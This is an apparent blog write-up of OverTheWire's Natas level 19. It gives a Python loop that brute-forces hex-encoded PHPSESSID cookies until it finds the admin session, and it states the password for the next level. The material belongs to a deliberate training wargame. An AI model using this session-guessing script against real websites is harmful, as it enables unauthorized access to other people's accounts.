Writeups OverTheWireNatasWebSessionBrute Force

Natas 19 Writeup - OverTheWire

Writeup for Natas level 19 from OverTheWire: brute-forcing a predictable session ID.

Contents

Wargame: Natas

Level: 19

Category: Web Security

Description

Like level 18, the server grants admin access for session ID 119 but the IDs are now hex-encoded strings of the form <number>-admin. Brute-forcing IDs 1 to 640 with the correct format finds the admin session.

Overview

Solution

for i in range(1, 641):
    session_id = f"{i}-admin".encode().hex()
    cookies = {"PHPSESSID": session_id}
    response = requests.get(url, auth=("natas19", current_password), cookies=cookies)
    if "You are an admin" in response.text:
        result = re.search(r"The password for natas20 is (.*)", response.text).group(1).strip()
        break

Password

guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH

← Back to Blog